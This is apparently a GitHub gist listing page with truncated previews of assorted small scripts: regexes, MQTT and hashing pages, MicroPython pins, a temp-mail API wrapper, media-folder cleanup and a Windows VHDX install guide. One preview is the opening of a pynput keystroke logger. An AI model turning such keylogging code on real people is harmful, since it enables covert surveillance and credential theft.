This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
datetime_pattern = r'\d{2}/\d{2}/\d{2}, \d{1,2}:\d{2}\s?[ap]m' | |
name_pattern = r'[A-Za-z ]*' | |
message_pattern = r'.*' | |
pattern = re.compile(f'({datetime_pattern}) - ({name_pattern}): ({message_pattern})') | |
def get_chats(path): | |
with open(path, 'r') as f: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
syntax reference - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Range#syntax | |
^bytes=(([0-9]{1,}-[0-9]*)|([0-9]*-[0-9]{1,}))(, (([0-9]{1,}-[0-9]*)|([0-9]*-[0-9]{1,})))*$ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Listener # pip install pynput | |
def log_keystroke(key): | |
if hasattr(key, 'char') and key.char != None: | |
key = '{}'.format(key.char) | |
else: #special key | |
key = str(key).replace("'", "") | |
if key in keys: | |
key = keys[key] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>mqtt</title> | |
<script type="text/javascript" src="https://unpkg.com/mqtt/dist/mqtt.min.js"></script> | |
</head> | |
<body> | |
<div> | |
<input type="text" id="in"> <button onclick="send()">send</button> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Generating Hash within Browser</title> | |
</head> | |
<body> | |
<input type="file" name="" id="file" onchange="generate_hash(event.target.files[0])"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from machine import Pin | |
class Pins: | |
__configs = { | |
4: { | |
"mode": 'out', | |
"value": 0 | |
}, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from os import walk, sep, path | |
from math import floor, log | |
def convert_size(size_bytes): | |
if size_bytes == 0: | |
return "0B" | |
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") | |
i = int(floor(log(size_bytes, 1024))) | |
p = 1024 ** i | |
s = round(size_bytes/p, 2) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as http | |
class OneSecMail(): | |
"""class for 1secmail.com api""" | |
def __init__(self,http_timeout=5): | |
self.base_url = 'https://www.1secmail.com/api/v1/' | |
self.http_timeout_sec = http_timeout | |
def __fetch(self,url): | |
"""a private utility function for http request""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
libraries_path = ['E:\\Video\\Tv Series','E:\\Video\\Movies'] | |
#insert library path above | |
#Note - All .nfo and .jpg file will be remove | |
for library_path in libraries_path: | |
for root, dirs, files in os.walk(library_path): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
in this gist, we will see how can we install whole windows 10/8/8.1/7/xp/vista on a singal vhdx(virtual hdd) file. | |
Step 1: Create a VHDX from diskpart | |
a) From the Command Prompt, open Diskpart. | |
PS > diskpart | |
b) Create and prepare a new VHDX. In this example, we create a 25 GB fixed-type VHDX. |
NewerOlder